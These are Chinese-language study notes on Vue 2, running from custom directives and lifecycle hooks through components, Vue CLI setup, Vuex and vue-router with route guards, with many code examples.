  1. bind:指令与元素成功绑定时调用
  2. inserted:指令所在元素被插入页面时调用
  3. update:指令所在模板结构被重新解析时调用

备注

  1. 指令定义时不加 v-,但是使用时要加 v-
  2. 指令名如果是多个单词,要使用 kebab-case 命名方式,不要使用 camelCase 命名
<div id="root">  
 <h2>{{name}}</h2>  
 <h2>当前的n值是:<span v-text="n"></span></h2>  
 <!--  <h2>乘10倍后的n值是:<span v-big-number="n"></span></h2>-->  
 <h2>乘10倍后的n值是:<span v-big="n"></span></h2>  
 <button @click="n++">点我+1</button>  
 <hr> <input type="text" v-fbind:value="n">  
</div>
// 定义全局指令  
Vue.directive('fbind', {  
  //指令与元素成功绑定时  
 bind(element, binding) {  
    element.value = binding.value  
 },  
 //指令所在元素被插入页面时  
 inserted(element, binding) {  
    element.focus()  
  },  
 //指令所在的模板被重新解析时  
 update(element, binding) {  
    element.value = binding.value  
 },  
})  
new Vue({  
  el: '#root',  
 data: {  
    name: '深圳',  
 n: 1  
 },  
 directives: {  
    // big 函数何时会被调用? 1.指令与元素成功绑定时。2.指令所在的模板被重新解析时  
 /*'big-number'(element, binding) {  
 // console.log('big') element.innerText = binding.value * 10 },*/ big(element, binding) {  
      console.log('big', this) // 此处的 this 是 window // console.log('big') element.innerText = binding.value * 10  
 },  
 /*fbind: {  
 //指令与元素成功绑定时  
 bind(element, binding) { element.value = binding.value }, //指令所在元素被插入页面时  
 inserted(element, binding) { element.focus() }, //指令所在的模板被重新解析时  
 update(element, binding) { element.value = binding.value }, }*/ }  
})

Vue 生命周期

生命周期

  1. 又名:生命周期回调函数、生命周期函数、生命周期钩子
  2. 是什么:Vue 在关键时刻帮我们调用的一些特殊名称的函数
  3. 生命周期函数的名字不可改变,但函数具体内容是由程序员根据需求编写的
  4. 生命周期函数中的 this 指向是 vm 或 组件实例对象

生命周期.png

vm 的一生(vm 的生命周期):

  • 将要创建 ===> 调用 beforeCreate 函数
  • 创建完毕 ===> 调用 create 函数
  • 将要挂载 ===> beforeMount 函数
  • 挂载完毕 ===> 调用 mounted 函数 (重要)
  • 将要更新 ===> 调用 beforeUpdate 函数
  • 更新完毕 ===> 调用 updated 函数
  • 将要销毁 ===> 调用 beforeDestroy 函数 (重要)
  • 销毁完毕 ===> 调用 destroyed

常用的生命周期钩子:

  1. mounted:发送 AJAX 请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
  2. beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等收尾操作
    关于销毁 Vue 实例
  3. 销毁后借助 Vue 开发者工具看不到任何信息
  4. 销毁后自定义事件会失效,但原生 DOM 事件依然有效
  5. 一般不会在 beforeDestroy 操作数据,因为即使操作数据,也不会再触发更新流程了

Vue 组件化编程

模块与组件、模块化与组件化

模块

  1. 理解:向外提供特定功能的 JS 程序,一般就是一个 js 文件
  2. 为什么:js 文件很多很复杂
  3. 作用:复用 js 简化 js 的编写,提高 js 运行效率

组件

  1. 理解:用来实现局部(特定)功能效果的代码集合(html/css/js/image....
  2. 为什么:一个界面的功能很复杂
  3. 作用:复用编码,简化项目编码,提高运行效率

模块化

当应用中的 js 都以模块来编写,那这个应用就是一个模块化的应用。

Pasted image 20220317142848.png

组件化

当应用中的功能都是多组件的方式来编写的,那这个应用就是一个组件化的应用。
Pasted image 20220317143811.png

Pasted image 20220317143553.png

非单文件组件

Vue 中使用组件的三大步骤

  1. 定义组件(创建组件)
  2. 注册组件
  3. 使用组件(写组件标签)

一、如何定义一个组件
使用Vue.extend(options)创建,其中 options 和 new Vue(options) 时传入的那个 options 几乎一样,但是有如下区别:

  1. el 不要写 --- 避免组件被复用时,数据存在引用关系
  2. data 必须写成函数 --- 避免组件被复用时,数据存在引用关系

使用 template 可以配置组件结构

二、如何注册组件

  1. 局部注册:靠 new Vue 的时候传入 components 选项
  2. 全局注册:靠 Vue.component('组件名',组件)

三、编写组件标签

  • <school></school>

几个注意点

关于组件名

  • 一个单词组成
    • 第一种写法(首字母小写):school
    • 第二种写法(首字母大写):School
  • 多个单词组成:
    • 第一种写法(kebab-case命名):my-school
    • 第二种写法(CameCase命名):MySchool(需要 Vue 脚手架)
  • 备注:
    • 组件名尽可能回避 HTML 中已有元素名称,例如:div/H2
    • 可以使用 name 配置项指定组件在开发者工具呈现的名字

关于组件标签:

  • 第一种写法:<school></school>
  • 第二种写法:<school />
  • 不使用脚手架开发,第二种写法会导致后续组件不能渲染

一个简写方式

  • const school = Vue.extend(options) 可简写为 const school = options

关于 VueComponent

  1. school 组件本质是一个名为 VueComponent 的构造函数,且不是我们定义的,是由 Vue.extend 生成的。
  2. 我们只需要写号 <school /><school></school>Vue 解析时会帮我们创建 school 组件的实例对象,即 Vue 帮我们执行的:new VueComponent(options)
  3. 特别注意:每次调用 Vue.extend,返回的都是一个全新的 VueComponent
  4. 关于 this 指向:
    1. 组件配置中:
      • data 函数、 methods 中的函数、 watch 中的函数、computed 中的函数 它们的 this 指向均是【Vuecomponent 实例对象】
      1. new Vue() 配置中:
      • data 函数、 methods 中的函数、 watch 中的函数、computed 中的函数 它们的 this 均是【Vue 实例对象】
  5. VueComponent 的实例对象,可以简称 VueComponent(也可以称之为:组件实例对象),Vue的实例对象,简称 vm
<div id="root">  
 <school></school> 
 <hello></hello>
</div>
// 第一步 创建 school组件  
const school = Vue.extend({  
  name: 'school',  
 template: `  
 <div> <h2>学校名称:{{ name }}</h2>  
 <h2>学校地址:{{ address }}</h2>  
 <button @click="showName">点击提示学校名</button>  
 </div> `,  
 data() {  
    return {  
      name: '深圳大学',  
	  address: '深圳南山区',  
	 }  
  },  
 methods: {  
    showName() {  
      console.log(this)  
      alert(this.name)  
    }  
  }  
})  
  
const test = Vue.extend({  
  template: `<span>深圳大学</span>`  
})  
  
const hello = Vue.extend({  
  template: `  
	 <div> <h2>{{ msg }}</h2> <test></test> </div> `,  
 data() {  
	return {  
	  msg: '你好啊'  
 }},  
 components: {  
    test  
 }  
})  
  
// console.log('@', school.a);  
// console.log('$', hello.a);  
  
const vm = new Vue({  
  el: '#root',  
  components: {  
    school, hello  
  }  
})

内置关系(重要)

  1. VueComponent.prototype.__proto__ === Vue.prototype
  2. 为什么要有这种关系:让组件实例对象 (VueComponent) 可以访问当 Vue 原型上的属性、方法。

Pasted image 20220317222820.png

<div id="root">  
 <school></school></div>  
</body>
Vue.prototype.x = 99  
  
const school = Vue.extend({  
  name: 'school',  
 template: `  
 <div> <h2>学校名称:{{ name }}</h2>  
 <h2>学校地址:{{ address }}</h2>  
 <button @click="showX">点击输出x</button>  
 </div> `,  
 data() {  
    return {  
      name: '深圳大学',  
 address: '深圳南山区',  
 }  
  },  
 methods:{  
    showX(){  
      console.log(this.x)  
    }  
  }  
})  
  
const vm = new Vue({  
  el: '#root',  
 data: {  
    msg: 'hello'  
 },  
 components: {  
    school  
 }  
})

单文件组件

<template>  
 <div> <School/> <Student/> </div></template>  
<script>  
// 引入组件  
import School from './School';  
import Student from './Student';  
  
export default {  
  name: 'App',  
  components: {  
    School, Student  
 }  
}  
</script>  
<!doctype html>  
<html lang="zh">  
<head>  
 <meta charset="UTF-8">  
 <meta name="viewport"  
 content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">  
 <meta http-equiv="X-UA-Compatible" content="ie=edge">  
 <title>单文件组件</title>  
</head>  
<body>  
<div id="root"></div>  
<script type="text/javascript" src="../js/vue.js"></script>  
<scritp src="./main.js"></scritp>  
</body>  
</html>
import App from './App'  
  
new Vue({  
  el: '#root',  
 template:`<App></App>`,  
 components: {  
    App  
 }  
})

使用 Vue 脚手架

  1. Vue 脚手架是 Vue 官方提供的标准化开发工具(开发平台)。
  2. 最新的版本是4.x`。
  3. 文档: https://cli.vuejs.org/zh/

具体步骤

  • 第一步(仅第一次执行):全局安装 @vue/cli
    npm install -g @vue/cli
  • 第二步:切换到你要创建项目的目录,然后使用命令创建项目
    vue create 项目名
  • 第三步:启动项目 npm run serve

如出现下载缓慢请配置npm 淘宝镜像:npm config set registry https://registry.npm.taobao.org

脚手架初始化 Vue 项目结构

Vue 脚手架隐藏了所有 webpack 相关的配置,若想查看具体的 webpakc 配置,
请执行:vue inspect > output.js
├── node_modules
├── public
│ ├── favicon.ico: 页签图标
│ └── index.html: 主页面
├── src
│ ├── assets: 存放静态资源
│ │ └── logo.png
│ │── component: 存放组件
│ │ └── HelloWorld.vue
│ │── App.vue: 汇总所有组件
│ │── main.js: 入口文件
├── .gitignore: git版本管制忽略的配置
├── babel.config.js: babel的配置文件
├── package.json: 应用包配置文件
├── README.md: 应用描述文件
├── package-lock.json:包版本控制文件

Pasted image 20220318091819.png
main.js中默认引入的不是完整版的 Vue ,是 vue.runtime.ems.js
Pasted image 20220318100926.png

关于不同版本的 Vue

  1. vue.jsvue.runtime.xxx.js 的区别:
    • vue.js 是完整版的 Vue,包含:核心功能+模板解析器
    • vue.runtime.xxx.js 是运行版的 Vue,只包含:核心功能没有模板解析器
  2. 因为 vue.runtime.xxx.js 没有模板解析器,所以不能使用 template 配置项,需要使用 render 函数接收到的 createElement 函数去指定具体内容

vue.config.js配置文件

  1. 使用vue inspect > output.js可以查看到Vue脚手架的默认配置。
  2. 使用vue.config.js可以对脚手架进行个性化定制,详情见:https://cli.vuejs.org/zh

ref属性

  1. 被用来给元素或子组件注册引用信息( id 的替代者)
  2. 应用在 html 标签上获取的是真实 DOM 元素,应用在组件标签上是组件实例对象(VueComponent
  3. 使用方式:
    - 打标识:<h1 ref="xxx">.....</h1><School ref="xxx"></School>
    - 获取:this.$refs.xxx

props配置项

  1. 功能:让组件接收外部传过来的数据
  2. 传递数据:<Demo name="xxx"/>
  3. 接收数据:
    1. 第一种方式(只接收):props:['name']
    2. 第二种方式(限制类型):props:{name:String}
    3. 第三种方式(限制类型、限制必要性、指定默认值):
props: {  
name: { 
	 type: String, //name的类型是字符串  
	 required: true, //名字是必要的  
}, 
age: { type: Number, default: 99 // 默认值  }, 
sex: { type: String, required: true }}

备注:props 是只读的,Vue 底层会监测你对 props 的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制 props 的内容到 data 中一份,然后去修改 data 中的数据。

mixin(混入)

  1. 功能:可以把多个组件共用的配置提取成一个混入对象
  2. 使用方式:

第一步定义混合:

export const mixin = {  
  methods: {  
    showName() {  
      alert(this.name)  
    }  
  },  
 mounted() {  
    console.log('你好啊')  
  }  
}  
  
  
export const mixin2 = {  
  data() {  
    return {  
      x: 100,  
	 y: 200  
	}  
  }  
}

第二步使用混入:

  • 全局混入:Vue.mixin(xxx)
  • 局部混入:mixins:['xxx']
//组件中局部混入
mixins: [mixin, mixin2] 

// 全局 main.js混入
import {mixin,mixin2} from './mixin'  
Vue.mixin(mixin)  
Vue.mixin(mixin2)

插件

  1. 功能:用于增强 Vue
  2. 本质:包含 install 方法的一个对象,install 的第一个参数是 Vue,第二个以后的参数是插件使用者传递的数据。
  3. 定义插件:
export default {  
  install(Vue) {  
    // 全局过滤器  
	 Vue.filter('mySlice', function (value) {  
	      return value.slice(0, 4)  
	    })  
	    // 定义全局指令  
	 Vue.directive('fbind', {  
	      //指令与元素成功绑定时  
	 bind(element, binding) {  
	        element.value = binding.value  
	 },  
	 //指令所在元素被插入页面时  
	 // eslint-disable-next-line no-unused-vars  
	 inserted(element, binding) {  
	        element.focus()  
	      },  
	 //指令所在的模板被重新解析时  
	 update(element, binding) {  
	        element.value = binding.value  
	 },  
	 })  
    // 定义混入  
	 Vue.mixin({  
	  data() {  
		return {  
		  x: 100,  
		  y: 200  
		 }  
	  }  
	 })  
	 // 给原型上添加一个方法  
	 Vue.prototype.hello = () => {alert('Hi!!!')}  
}  
}
  1. 使用插件:Vue.use()

使用 less-loader 前先安装 less

否则会报错 Error: Cannot find module 'less'
脚手架@vue/cli 4.5.13vue 版本 2.6.11 直接 yarn add less-loader@7.3.0 运行报错,
换成 yarn add less@4.0.0 ,然后在 yarn add less-loader@7
webpack5 请按照文档使用最新的安装方式。

scoped样式

  1. 作用:让样式在局部生效,防止冲突。
  2. 写法:<style scoped>

组件化编码流程(通用)

  1. 实现静态组件:抽取组件,使用组件实现静态页面效果
  2. 展示动态数据:
    1. 数据的类型、名称是什么?
    2. 数据保存在那个文件
  3. 交互——从绑定事件监听开始

总结TodoList案例

一. 组件化编码流程:

  1. 拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。
  2. 实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:
  • 一个组件在用:放在组件自身即可。
  • 一些组件在用:放在他们共同的父组件上(状态提升)。
  • 实现交互:从绑定事件开始。
    二. props适用于:
  1. 父组件 ==> 子组件 通信
  2. 子组件 ==> 父组件 通信(要求父先给子一个函数)
  3. 使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!
  4. props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。

项目源码:https://gitee.com/centaurusR/vue_test

webStorage

  1. 存储内容大小一般支持 5MB 左右(不同浏览器可能还不一样)
  2. 浏览器端通过 Window.sessionStorageWindow.localStorage 属性来实现本地存储机制。
  3. 相关 API
    1. xxxxxStorage.setItem('key', 'value');
      该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值
    2. xxxxxStorage.getItem('person');
      该方法接受一个键名作为参数,返回键名对应的值。
    3. xxxxxStorage.removeItem('key');
      该方法接受一个键名作为参数,并把该键名从存储中删除。
    4. xxxxxStorage.clear()
      该方法会清空存储中的所有数据。
  4. 备注:
    1. SessionStorage 存储的内容会随着浏览器窗口关闭而消失。
    2. LocalStorage 存储的内容,需要手动清除才会消失。
    3. xxxxxStorage.getItem(xxx) 如果 xxx 对应的 value 获取不到,那么 getItem 的返回值是 null
    4. JSON.parse(null) 的结果依然是 null

组件的自定义事件

  1. 一种组件间通信的方式,适用于:子组件 ===> 父组件
  2. 使用场景:A 是父组件,B 是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。
  3. 绑定自定义事件:
    1. 第一种方式,在父组件中:<Demo @atguigu="test"/><Demo v-on:atguigu="test"/>

    2. 第二种方式,在父组件中:

      <Demo ref="demo"/>
      ......
      mounted(){
         this.$refs.xxx.$on('atguigu',this.test)
      }
      
    3. 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。

  4. 触发自定义事件:this.$emit('atguigu',数据)
  5. 解绑自定义事件this.$off('atguigu')
  6. 组件上也可以绑定原生DOM事件,需要使用native修饰符。
  7. 注意:通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时,回调要么配置在methods中要么用箭头函数,否则this指向会出问题!

全局事件总线(GlobalEventBus)

  1. 一种组件间通信的方式,适用于任意组件间通信

  2. 安装全局事件总线:

    new Vue({
    	......
    	beforeCreate() {
    		Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
    	},
        ......
    }) 
    
  3. 使用事件总线:

    1. 接收数据:A组件想接收数据,则在 A 组件中给 $bus 绑定自定义事件,事件的回调留在A组件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.$bus.$on('xxxx',this.demo)
      }
      
    2. 提供数据:this.$bus.$emit('xxxx',数据)

  4. 最好在 beforeDestroy 钩子中,用 $off 去解绑当前组件所用到的事件。

消息订阅与发布(pubsub)

  1. 一种组件间通信的方式,适用于任意组件间通信

  2. 使用步骤:

    1. 安装 pubsubnpm i pubsub-js

    2. 引入: import pubsub from 'pubsub-js'

    3. 接收数据:A 组件想接收数据,则在 A 组件中订阅消息,订阅的回调留在A组件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息
      }
      
    4. 提供数据:pubsub.publish('xxx',数据)

    5. 最好在beforeDestroy钩子中,用PubSub.unsubscribe(pid)取消订阅。

nextTick

  1. 语法:this.$nextTick(回调函数)
  2. 作用:在下一次 DOM 更新结束后执行其指定的回调。
  3. 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行。

Vue封装的过度与动画

  1. 作用:在插入、更新或移除 DOM元素时,在合适的时候给元素添加样式类名。

  2. 图示:transition.png

  3. 写法:

    1. 准备好样式:

      • 元素进入的样式:
        1. v-enter:进入的起点
        2. v-enter-active:进入过程中
        3. v-enter-to:进入的终点
      • 元素离开的样式:
        1. v-leave:离开的起点
        2. v-leave-active:离开过程中
        3. v-leave-to:离开的终点
    2. 使用<transition>包裹要过度的元素,并配置name属性:

      <transition name="hello">
      	<h1 v-show="isShow">你好啊!</h1>
      </transition>
      
    3. 备注:若有多个元素需要过度,则需要使用:<transition-group>,且每个元素都要指定key值。

vue脚手架配置代理

方法一

​ 在vue.config.js中添加如下配置:

devServer:{
  proxy:"http://localhost:5000"
}

说明:

  1. 优点:配置简单,请求资源时直接发给前端(8080)即可。
  2. 缺点:不能配置多个代理,不能灵活的控制请求是否走代理。
  3. 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 (优先匹配前端资源)

方法二

​ 编写vue.config.js配置具体代理规则:

module.exports = {
	devServer: {
      proxy: {
      '/api1': {// 匹配所有以 '/api1'开头的请求路径
        target: 'http://localhost:5000',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api1': ''}
      },
      '/api2': {// 匹配所有以 '/api2'开头的请求路径
        target: 'http://localhost:5001',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api2': ''}
      }
    }
  }
}
/*
   changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
   changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
   changeOrigin默认值为true
*/

说明:

  1. 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
  2. 缺点:配置略微繁琐,请求资源时必须加前缀。

插槽

  1. 作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于 父组件 ===> 子组件

  2. 分类:默认插槽、具名插槽、作用域插槽

  3. 使用方式:

    1. 默认插槽:

      父组件中:
              <Category>
                 <div>html结构1</div>
              </Category>
      子组件中:
              <template>
                  <div>
                     <!-- 定义插槽 -->
                     <slot>插槽默认内容...</slot>
                  </div>
              </template>
      
    2. 具名插槽:

      父组件中:
              <Category>
                  <template slot="center">
                    <div>html结构1</div>
                  </template>
      
                  <template v-slot:footer>
                     <div>html结构2</div>
                  </template>
              </Category>
      子组件中:
              <template>
                  <div>
                     <!-- 定义插槽 -->
                     <slot name="center">插槽默认内容...</slot>
                     <slot name="footer">插槽默认内容...</slot>
                  </div>
              </template>
      
    3. 作用域插槽:

      1. 理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)

      2. 具体编码:

        父组件中:
        		<Category>
        			<template scope="scopeData">
        				<!-- 生成的是ul列表 -->
        				<ul>
        					<li v-for="g in scopeData.games" :key="g">{{g}}</li>
        				</ul>
        			</template>
        		</Category>
        
        		<Category>
        			<template slot-scope="scopeData">
        				<!-- 生成的是h4标题 -->
        				<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
        			</template>
        		</Category>
        子组件中:
                <template>
                    <div>
                        <slot :games="games"></slot>
                    </div>
                </template>
        
                <script>
                    export default {
                        name:'Category',
                        props:['title'],
                        //数据在子组件自身
                        data() {
                            return {
                                games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                            }
                        },
                    }
                </script>
        

Vuex

Vuex 原理图
vuex.png

1.概念

​ 在 Vue 中实现集中式状态(数据)管理的一个 Vue 插件,对 Vue 应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。

2.何时使用?

​ 多个组件需要共享数据时

3.搭建vuex环境

  1. 创建文件:src/store/index.js

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //应用Vuex插件
    Vue.use(Vuex)
    
    //准备actions对象——响应组件中用户的动作
    const actions = {}
    //准备mutations对象——修改state中的数据
    const mutations = {}
    //准备state对象——保存具体的数据
    const state = {}
    
    //创建并暴露store
    export default new Vuex.Store({
    	actions,
    	mutations,
    	state
    })
    
  2. main.js中创建vm时传入store配置项

    ......
    //引入store
    import store from './store'
    ......
    
    //创建vm
    new Vue({
    	el:'#app',
    	render: h => h(App),
    	store
    })
    

4.基本使用

  1. 初始化数据、配置actions、配置mutations,操作文件store.js

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //引用Vuex
    Vue.use(Vuex)
    
    const actions = {
        //响应组件中加的动作
    	jia(context,value){
    		// console.log('actions中的jia被调用了',miniStore,value)
    		context.commit('JIA',value)
    	},
    }
    
    const mutations = {
        //执行加
    	JIA(state,value){
    		// console.log('mutations中的JIA被调用了',state,value)
    		state.sum += value
    	}
    }
    
    //初始化数据
    const state = {
       sum:0
    }
    
    //创建并暴露store
    export default new Vuex.Store({
    	actions,
    	mutations,
    	state,
    })
    
  2. 组件中读取vuex中的数据:$store.state.sum

  3. 组件中修改vuex中的数据:$store.dispatch('action中的方法名',数据)$store.commit('mutations中的方法名',数据)

    备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit

5.getters的使用

  1. 概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。

  2. store.js中追加getters配置

    ......
    
    const getters = {
    	bigSum(state){
    		return state.sum * 10
    	}
    }
    
    //创建并暴露store
    export default new Vuex.Store({
    	......
    	getters
    })
    
  3. 组件中读取数据:$store.getters.bigSum

6.四个map方法的使用

  1. mapState方法:用于帮助我们映射state中的数据为计算属性

    computed: {
        //借助mapState生成计算属性:sum、school、subject(对象写法)
         ...mapState({sum:'sum',school:'school',subject:'subject'}),
    
        //借助mapState生成计算属性:sum、school、subject(数组写法)
        ...mapState(['sum','school','subject']),
    },
    
  2. mapGetters方法:用于帮助我们映射getters中的数据为计算属性

    computed: {
        //借助mapGetters生成计算属性:bigSum(对象写法)
        ...mapGetters({bigSum:'bigSum'}),
    
        //借助mapGetters生成计算属性:bigSum(数组写法)
        ...mapGetters(['bigSum'])
    },
    
  3. mapActions方法:用于帮助我们生成与actions对话的方法,即:包含$store.dispatch(xxx)的函数

    methods:{
        //靠mapActions生成:incrementOdd、incrementWait(对象形式)
        ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
        //靠mapActions生成:incrementOdd、incrementWait(数组形式)
        ...mapActions(['jiaOdd','jiaWait'])
    }
    
  4. mapMutations方法:用于帮助我们生成与mutations对话的方法,即:包含$store.commit(xxx)的函数

    methods:{
        //靠mapActions生成:increment、decrement(对象形式)
        ...mapMutations({increment:'JIA',decrement:'JIAN'}),
    
        //靠mapMutations生成:JIA、JIAN(对象形式)
        ...mapMutations(['JIA','JIAN']),
    }
    

备注:mapActionsmapMutations 使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象。

7.模块化+命名空间

  1. 目的:让代码更好维护,让多种数据分类更加明确。

  2. 修改store.js

    const countAbout = {
      namespaced:true,//开启命名空间
      state:{x:1},
      mutations: { ... },
      actions: { ... },
      getters: {
        bigSum(state){
           return state.sum * 10
        }
      }
    }
    
    const personAbout = {
      namespaced:true,//开启命名空间
      state:{ ... },
      mutations: { ... },
      actions: { ... }
    }
    
    const store = new Vuex.Store({
      modules: {
        countAbout,
        personAbout
      }
    })
    
  3. 开启命名空间后,组件中读取state数据:

    //方式一:自己直接读取
    this.$store.state.personAbout.list
    //方式二:借助mapState读取:
    ...mapState('countAbout',['sum','school','subject']),
    
  4. 开启命名空间后,组件中读取getters数据:

    //方式一:自己直接读取
    this.$store.getters['personAbout/firstPersonName']
    //方式二:借助mapGetters读取:
    ...mapGetters('countAbout',['bigSum'])
    
  5. 开启命名空间后,组件中调用dispatch

    //方式一:自己直接dispatch
    this.$store.dispatch('personAbout/addPersonWang',person)
    //方式二:借助mapActions:
    ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
  6. 开启命名空间后,组件中调用commit

    //方式一:自己直接commit
    this.$store.commit('personAbout/ADD_PERSON',person)
    //方式二:借助mapMutations:
    ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
    

路由

  1. 理解: 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理。
  2. 前端路由:key是路径,value是组件。

1.基本使用

  1. 安装vue-router,命令:npm i vue-router

  2. 应用插件:Vue.use(VueRouter)

  3. 编写router配置项:

    //引入VueRouter
    import VueRouter from 'vue-router'
    //引入Luyou 组件
    import About from '../components/About'
    import Home from '../components/Home'
    
    //创建router实例对象,去管理一组一组的路由规则
    const router = new VueRouter({
    	routes:[
    		{
    			path:'/about',
    			component:About
    		},
    		{
    			path:'/home',
    			component:Home
    		}
    	]
    })
    
    //暴露router
    export default router
    
  4. 实现切换(active-class可配置高亮样式)

    <router-link active-class="active" to="/about">About</router-link>
    
  5. 指定展示位置

    <router-view></router-view>
    

2.几个注意点

  1. 路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹。
  2. 通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
  3. 每个组件都有自己的$route属性,里面存储着自己的路由信息。
  4. 整个应用只有一个 router ,可以通过组件的$router属性获取到。

3.多级路由(多级路由)

  1. 配置路由规则,使用children配置项:

    routes:[
    	{
    		path:'/about',
    		component:About,
    	},
    	{
    		path:'/home',
    		component:Home,
    		children:[ //通过children配置子级路由
    			{
    				path:'news', //此处一定不要写:/news
    				component:News
    			},
    			{
    				path:'message',//此处一定不要写:/message
    				component:Message
    			}
    		]
    	}
    ]
    
  2. 跳转(要写完整路径):

    <router-link to="/home/news">News</router-link>
    

4.路由的query参数

  1. 传递参数

    <!-- 跳转并携带query参数,to的字符串写法 -->
    <router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>
    
    <!-- 跳转并携带query参数,to的对象写法 -->
    <router-link 
    	:to="{
    		path:'/home/message/detail',
    		query:{
    		   id:666,
                title:'你好'
    		}
    	}"
    >跳转</router-link>
    
  2. 接收参数:

    $route.query.id
    $route.query.title
    

5.命名路由

  1. 作用:可以简化路由的跳转。

  2. 如何使用

    1. 给路由命名:

      {
      	path:'/demo',
      	component:Demo,
      	children:[
      		{
      			path:'test',
      			component:Test,
      			children:[
      				{
                            name:'hello' //给路由命名
      					path:'welcome',
      					component:Hello,
      				}
      			]
      		}
      	]
      }
      
    2. 简化跳转:

      <!--简化前,需要写完整的路径 -->
      <router-link to="/demo/test/welcome">跳转</router-link>
      
      <!--简化后,直接通过名字跳转 -->
      <router-link :to="{name:'hello'}">跳转</router-link>
      
      <!--简化写法配合传递参数 -->
      <router-link 
      	:to="{
      		name:'hello',
      		query:{
      		   id:666,
                  title:'你好'
      		}
      	}"
      >跳转</router-link>
      

6.路由的 params 参数

  1. 配置路由,声明接收 params 参数

    {
    	path:'/home',
    	component:Home,
    	children:[
    		{
    			path:'news',
    			component:News
    		},
    		{
    			component:Message,
    			children:[
    				{
    					name:'xiangqing',
    					path:'detail/:id/:title', //使用占位符声明接收params参数
    					component:Detail
    				}
    			]
    		}
    	]
    }
    
  2. 传递参数

    <!-- 跳转并携带params参数,to的字符串写法 -->
    <router-link :to="/home/message/detail/666/你好">跳转</router-link>
    
    <!-- 跳转并携带params参数,to的对象写法 -->
    <router-link 
    	:to="{
    		name:'xiangqing',
    		params:{
    		   id:666,
                title:'你好'
    		}
    	}"
    >跳转</router-link>
    

    特别注意:路由携带 params 参数时,若使用 to 的对象写法,则不能使用 path 配置项,必须使用 name 配置!

  3. 接收参数:

    $route.params.id
    $route.params.title
    

7.路由的props配置

​ 作用:让路由组件更方便的收到参数

{
	name:'xiangqing',
	path:'detail/:id',
	component:Detail,

	//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
	// props:{a:900}

	//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
	// props:true
	
	//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
	props(route){
		return {
			id:route.query.id,
			title:route.query.title
		}
	}
}

8.<router-link>replace 属性

  1. 作用:控制路由跳转时操作浏览器历史记录的模式
  2. 浏览器的历史记录有两种写入方式:分别为pushreplacepush是追加历史记录,replace是替换当前记录。路由跳转时候默认为push
  3. 如何开启replace模式:<router-link replace .......>News</router-link>

9.编程式路由导航

  1. 作用:不借助<router-link>实现路由跳转,让路由跳转更加灵活

  2. 具体编码:

    //$router的两个API
    this.$router.push({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    
    this.$router.replace({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    this.$router.forward() //前进
    this.$router.back() //后退
    this.$router.go() //可前进也可后退
    

10.缓存路由组件

  1. 作用:让不展示的路由组件保持挂载,不被销毁。

  2. 具体编码:

    <keep-alive include="News"> 
        <router-view></router-view>
    </keep-alive>
    

11.两个新的生命周期钩子

  1. 作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。
  2. 具体名字:
    1. activated路由组件被激活时触发。
    2. deactivated路由组件失活时触发。

12.路由守卫

  1. 作用:对路由进行权限控制

  2. 分类:全局守卫、独享守卫、组件内守卫

  3. 全局守卫:

    //全局前置守卫:初始化时执行、每次路由切换前执行
    router.beforeEach((to,from,next)=>{
    	console.log('beforeEach',to,from)
    	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
    		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
    			next() //放行
    		}else{
    			alert('暂无权限查看')
    			// next({name:'guanyu'})
    		}
    	}else{
    		next() //放行
    	}
    })
    
